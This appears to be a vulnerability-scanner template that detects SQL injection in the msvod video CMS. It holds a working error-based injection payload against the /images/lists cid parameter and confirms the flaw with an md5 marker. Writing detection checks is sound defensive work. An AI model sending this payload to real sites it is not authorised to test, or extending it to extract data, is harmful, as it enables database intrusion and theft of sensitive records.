msvod-sqli: msvod sqli

id: msvod-sqli

info:
  name: msvod sqli
  author: jinqi
  severity: high
  description: |-
    msvod 存在SQL注入漏洞，攻击者通过漏洞可以获取数据库敏感信息
  tags: msvod,sqli
  created: 2025/03/27

set:
  r1: randomInt(800000000, 1000000000)
rules:
  r0:
    request:
      method: GET
      path: /images/lists?cid=1 ) ORDER BY 1 desc,extractvalue(rand(),concat(0x7c,md5({{r1}}))) desc --+a
    expression: response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31)))
expression: r0()